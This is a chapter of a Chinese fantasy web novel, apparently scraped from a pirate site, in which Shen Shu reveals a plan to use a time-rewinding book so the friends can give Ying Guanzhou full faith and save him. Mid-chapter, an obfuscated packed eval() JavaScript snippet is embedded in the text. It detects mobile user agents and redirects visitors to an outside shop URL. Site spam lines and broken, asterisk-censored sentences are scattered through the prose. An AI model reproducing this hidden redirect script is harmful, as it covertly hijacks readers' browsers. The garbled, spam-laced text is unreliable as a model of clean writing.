第216章成神之路
【我给你一个从未有过信仰的人的忠诚。】
一个月前,沈漱第七次从夜晚惊醒。
他坐起来空旷的房间里悄无声息只有冰冷的雨水拍在巨大的落地窗上,青年偏过头透过窗户,望向窗外浓郁的夜色。
房间只有黑白灰三色半明半暗的光线照在他脸上那张优越俊秀的脸上此时却没什么生气一双眼眸里,沉沉郁郁,唇线抿紧。
很不对劲。
在结束游戏之后他能感觉到自己的记忆被剥夺修改过。
就像是有人忽然从你身体里挖走了一块骨肉自以为不声不响,但风吹过时你却能听见空旷的回音。
更重要的是,
“这是第二次。”
第一次或许很难被察觉到但,第二次被修改记时忆熟悉的感觉重新踊上心头,沈漱就确认了这一事实。
那是一种很细细密密的痛苦,更像是有人从他灵魂上开了道口子
可依然留下了一道一触即痛的疤。
于是他选择暂时远离倒吊人公会的成员相反,重新回归圣殿好像一切都没有发生过一样地生活。
每一日。
每一刻。
他都像是被禁锢在一个腐朽的黑白梦境中,阳光落在他身上也并不感到温暖,反而有一种从地底深处升腾而起的寒冷一种被阴雨笼罩着的细细麻麻的阵痛。
兰/。生**用什么办法能回忆起被剥离的记忆可是他知道应如是不是他要找的那个人。
于是他选择去凿自己的伤疤。
一以贯之不得懈怠。鲜血淋漓伤口也在不断叠加。同时青年在圣殿中沉默无声、滴水不漏地窃取着情报。
最终他选择提着刀逼问了女祭司。
那分明是以前的他不会做的事可他做了甚至仿佛是在笨拙地学着那个已经不记得了的人利用了教皇对他亲近的心调虎离山从而截住落单的女祭司。
他以前不懂得何谓阴谋何谓诡计仔细想来恐怕以前没少被那个人嘲笑过。而眼下他好像学会了一点。
他偶尔也会想那个人如果看到现在的他会说什么呢?
会骂他多管闲事还是会夸他做的好?
**。
因为上天入地他再也找不到那个人了。
*
“你的想法……真的可行吗?”
一阵混斗过后四人狼狈逃逸最终藏匿在一间收容房内。
祝朗风抱着手面色不虞地望向沈漱“这么说你在我们记忆被修改那天你就知
你的朋友正在书荒,快去帮帮他吧
道有问题了?”
“然后,你也不告诉我们,自己不声不响地潜入圣殿?!”
他猛地提高声音。季少停一把捂住他的嘴,“小声点,你想外面的圣殿成员重新把我们抓住吗?!”
祝朗风气得眼前一黑又一黑,胸膛剧烈起伏,呼吸不畅,怒火中烧地指着沈漱,泽维尔则伸出手,把祝朗风那抖得如同帕金森的手也按下去,温声劝道:“他这样做是对的。”
“如果他提前告诉了我们,无异于打草惊蛇,圣殿会对他起疑心。到时候,我们要闯入,偷取【原型书】就要困难百倍……甚至连【原型书】的情报,都不一定能获取。”
“真要怪的话……只能怪我们没有他敏锐。”泽维尔轻声道。
“他……!我……!靠!!!”
不说还好,一说,祝朗风气得仿佛一只要炸裂的河豚,捂着发疼的肚子,说不出话来。
眼下,一周没有吃过饭的后遗症终于汹涌来袭,急火攻心,整个人快当场厥过去,季少停看不进他这副没出息的模样,翻了个白眼,把他拖到角落里给他治疗。
“抱歉。”沈漱轻声道,脸上没什么表情。
祝朗风蹲在角落里,摆了摆手,他捂着肚子,喘了几口气,恶狠狠地瞪了沈漱一眼。
季少停则看着他,神色有些诡异,摸了摸下巴,若有所思地道:“不过,之前不是你说,你再也不管这破事了吗?”
祝朗风神色瞬间一僵,仿佛不小心吞了石子的公鸡,当场就咳了个死去活来。
一周前,知道真相后,祝朗风把应如是踹下车后,直接头也不回地回家了。
[“找他?**还有可能复生吗?别开玩笑了。我有什么过不去的?一个骗子而已,难道还值得我上心吗?咎由自取。”]
面对满脸焦急的泽维尔,青年嘴角噙着一抹冷笑,他挥了挥手,一副漠不关心的模样,[“要救,你们去救。我不救一心想死的人。”]
[“他不是希望我们忘记他吗?很好。我大慈大悲,会实现他死前的这个愿望的。”]
然后,头也不回地离去,无论季少停和泽维尔怎么叫他喊他,他也无动于衷。
发消息也一概不回,如果不是管家有回复,他们都以为这人**呢。
“……”
在季少停带着嘲笑的凝视下,祝朗风白皙的脸慢慢涨红,额角爆出青筋,一跳一跳的,忍不住深深吸了一口气。
他神色镇定,充耳不闻,当做方才什么也没发生过一样,把季少停晾在一边,扭过头,望向沈漱,“说吧,你偷窃【原型书】出来,是想做什么?”
看着他红的快要冒烟却强装镇定的脸,季少停没忍住,又翻
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
了个白眼。
沈漱吐出两个字:“救人。”
祝朗风脸一黑
“一个人无声无息地死在角落里还要应如是代替他活下去把我们瞒在鼓里。好一手偷天换日啊我们如果迟钝一点是不是就一辈子不知道了?”
“这不就是他希望的?所有人都活下去只要牺牲他一个人就能换来太平幸福。真是好无上的光荣好伟大的英雄……”
他话音未落“嗡”的一声闪烁着寒光的刀锋抵在他喉间。
对面青年抬起一双沉郁的紫罗兰色眼眸冷冷道:“慎言。”
“哈。慎言?我需要慎言什么?”
祝朗风仿佛压抑已久终于被点燃的**在沈漱将刀抵在他喉间的一刹那就彻底炸了。
青年气得须发皆张瞳孔紧缩面对锋利的重刃竟不退反进任由刃刺破皮肤割进皮肉里血液直流。
他抬起眼一双竖立的金色瞳孔让他看上去像是一只被背叛抛弃过的狼犬凶狠暴戾直直地与沈漱对视语气火星四溅咬牙切齿咄咄逼人一字一顿。
“好你倒是护着他。那你倒不如问问他他到底有真心把我们当朋友吗?!”
他猛地一挥手一巴掌重重拍在自己胸膛上质问道:“难道在他心里我们是那种知道了真相就会不由分说地与他绝交的人?!我们难道是第一天知道他是什么样的人吗?!”
“是没错我知道他生性恶劣喜欢愚弄他人满嘴谎言……可那有怎样?!我就是要他!是原原本本的应观洲而不是那个披着他身份、**的应如是!!!”
青年勃然大怒眼尾发红一副恨的不行的模样额角青筋疯狂跳动。沈漱盯着他沉默了一会最终还是慢慢地将重剑撤了下来。
“……我知道了。”
他轻轻地叹了口气。旁边泽维尔立刻挤开气得晕头转向、眼冒金星的祝朗风对他说:“你先旁边冷静一下”然后又连忙对沈漱道:“所以你有办法可以救他……救应观洲?”
他表面镇定可颤抖的声线和眼下的黑眼圈出卖了他。
泽维尔呼吸急促如同溺水之人抓住救命稻草一般。
沈漱点了点头。
“但是还有一个问题”泽维尔脸色逐渐凝重忧心忡忡“这个问题我和季少停之前也讨论过……”
“如果将应观洲拯救回来那个SS级的灾难应该怎么解决呢?”
这是个死局。
就算他们阻止了应观洲“燃命”可即将袭来的SS级灾难
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
也会造成极其恐怖的损失与伤亡。
以应观洲那嘴硬心软的性子他知道真相后……会不会又擅自把这些人的性命背负在自己身上?
他们蹙眉沉思着所有人脸色沉重。
然而
“你们声音太大了。”
门被轻轻叩响一道冷冷的声音忽然插入响起“生怕找不到你们么?”
房间内四个人猛地绷紧身体电光火石间所有人都仿佛被忽然侵犯了领地的猛兽猛地暴起瞳孔紧缩成针尖大小摆出了对战时的姿态腰部仿佛待发的弓弦同时扭头
门口穿着军装的应如是缓缓抬起脸上的面具露出了那张与应观洲相似却又截然不同的脸。
他平静地看着他们眼珠子轻微转了转嘴角衔着一丝漠然的笑鼓了鼓掌“偷了圣殿的东西不逃出生天反而直接窝藏在这里。”
“好一个‘灯下黑’。不得不说要为你们的胆子惊叹。这也是我那个弟弟教你们的吗?”
在四人即将暴起甩出技能前应如是抬起了手做了一个“阻止”的手势随后道:“好了停。稍安勿躁我不是来与你们开战的。”
他身上没有任何防备泽维尔毫不犹豫地用【全知之眼】扫视了一圈周围却愕然发现居然真的一个圣殿成员都没有。
收容所在指挥塔的地下错综复杂天然就是一个比矿洞还要容易让人迷失的迷宫。很显然在方才的追杀中应如是故意将圣殿成员引入了另一个通道再与倒吊人公会的四人碰面。
“他没有说谎。”沈漱瞥了一眼自己亮着一点淡淡辉光的重剑冷冷道。
闻言应如是眼梢微眯。他低头瞥了眼腕表声音平淡地宣告:“在这里我能做‘应如是’的时间只有十分钟。”
那双眼睛毫无温度地扫过在场四人最终落在沈漱手中的原型书上。随即他径直坐下双手按膝吐出的话简洁而冷硬:“说说你们的计划。”
眼下他短暂抛弃了【世界】的身份只是应如是只是一个……哥哥。
在场无一不是聪明人几乎瞬间就明白了他的意思。
泽维尔和季少停肩膀微微放松而祝朗风和沈漱却依然警惕肌肉绷紧一触即发。看来不是很相信他的话。
但是应如是并不在意他只是看向他们沉声道:“先说好我没立刻把你们抓起来就已经算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137390|195351||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是渎职了。可即使如此如果你们要跟我说为了救应观洲你们要牺牲剩余的更多人我也绝不允许。”
“……我给过他机会了是他自己不珍惜。”
旧神的旨意无时无刻不在影响他。
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
他必须做出最佳答案,选择那条死亡更少的路。
除此之外,别无选择。
“所以,有办法吗?”他看向沈漱,嗓音艰涩,眸光轻轻一动。
“有。”
所有人都坐直了身体,紧紧地盯着他,下意识屏住呼吸。
沈漱撩起眼皮,道:“应观洲真正的神格技能,是【伊甸之蛇】,对吗?”
“这一技能……依靠的是其他人对他的信赖,‘相信’他拥有什么样的技能,他就能拥有对应的能力。”
作为游戏设计者,知道这个信息的应如是大方地承认了:“没错。”
“所以,”
沈漱轻声道:“你们不觉得,他的能力……很像是一个残缺的……【神】吗?”
“所谓的‘相信’……与其说是‘相信’,倒不如说,是‘信仰’。”
祝朗风脑袋“嗡”了一声。
“等等,什么意思?”他目瞪口呆,应如是却反应过来了,猛地站了起来!
他是旧神的残骸,因此在场所有人,他反应最快,在沈漱说出“信仰”二字时,他就明白了的计划,喃喃道:“没错。就像是……神一样。”
神是在人的信仰中诞生,因人的敬拜而变得强大。
因为有人,所以才有神的存在。点滴星火般的祈愿汇聚成流,终将奔涌成庇佑一方的、名为“神明”的洪流。
这一瞬间,泽维尔忽然明白了应观洲真正的能力。
“伊甸之蛇”,序列【愚者】。
在那个跨年的夜晚,酒吧里,泽维尔抽出了一张【倒吊人】。
但,在他翻过这张牌后,才意外发现,那张倒吊人牌的背后,其实还紧紧粘黏着另一张,仿佛昭示着命运的牌面。
牌面上是一个背着行囊的少年,他踏在悬崖上,身后的小狗拼命对他吠叫,似乎想要把他从那样危险的地方拉回来,他却始终无动于衷。
明明下一步就是万丈深渊,可他脸上依旧挂着微笑,无怨无悔。
——【愚者】。
在大阿卡纳序列中,它并没有编号,亦可称作0号又或称作22号,是所有牌的开始,亦代表着牌的结束,代表着无限的可能性。
是一切之始,世界之初,所有的尽头。
沈漱嗓音有些发紧,他深吸一口气,道:“灾难入侵,是因为众神陨落。”
“那如果,能有新神的诞生……是不是,就能阻止灾难了?”
“而因为我们相信他……所以,他能拥有‘燃命’的能力。”
“那如果,他从一开始,就是一个神明呢?”
“从一开始,我们就将所有的、全部的信仰,都给他,那么是不是,到最后,会有变化?!”
“——”
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
所有人都微微睁大双眼。祝朗风下意识反驳:“什么叫从一开始?你怎么可能在初遇时,就毫无保留地相信一个陌生人……”
泽维尔却忽然变了脸色。
“不,可以的。”
他抬起头,缓缓道:“倘若过去的我们做不到,那如果,是现在的我们呢?”
祝朗风一怔。
“如果是现在的我们,回到过去,是不是就能对他,献出我们全部的‘信任’……乃至,‘信仰’?!”
仿佛一道霹雳贯穿全身,剧烈的电流从脚底一路窜到头皮炸开。
祝朗风倏然反应过来,他猛地转头,不可思议地瞪向沈漱抓着的那本【原型书】,脸上所有细微的表情都消失殆尽,只剩下一片空白的骇然,像一座骤然风化的雕塑,只余瞳孔剧烈地颤抖。
等一下。
他终于明白,为什么沈漱要偷窃这一本【原型书】了!
“二重身”这个副本,与其他副本,有一个地方不同,但那个不同,却是这一切的关键!
那就是……
在应观洲进入这个副本中时,他回到了八岁的模样。
也就是说,
“这是一个能时间回溯的【原型书】。”
沈漱将书放在了所有人的中间,他抬起头,一字一顿,“我们回到过去,就能救他。”
作者有话说:
我用什么才能留住你?
我给你瘦落的街道、
绝望的落日、荒郊的月亮。
我给你一个久久地望着孤月的人的悲哀。
我给你一个从未有过信仰的人的忠诚。
——博尔赫斯
【小剧场】
小季:祝朗风你个装货。
小祝:……
小季扭头对应如是道:你也是个装货。
应如是:。
-
宝宝们明天见!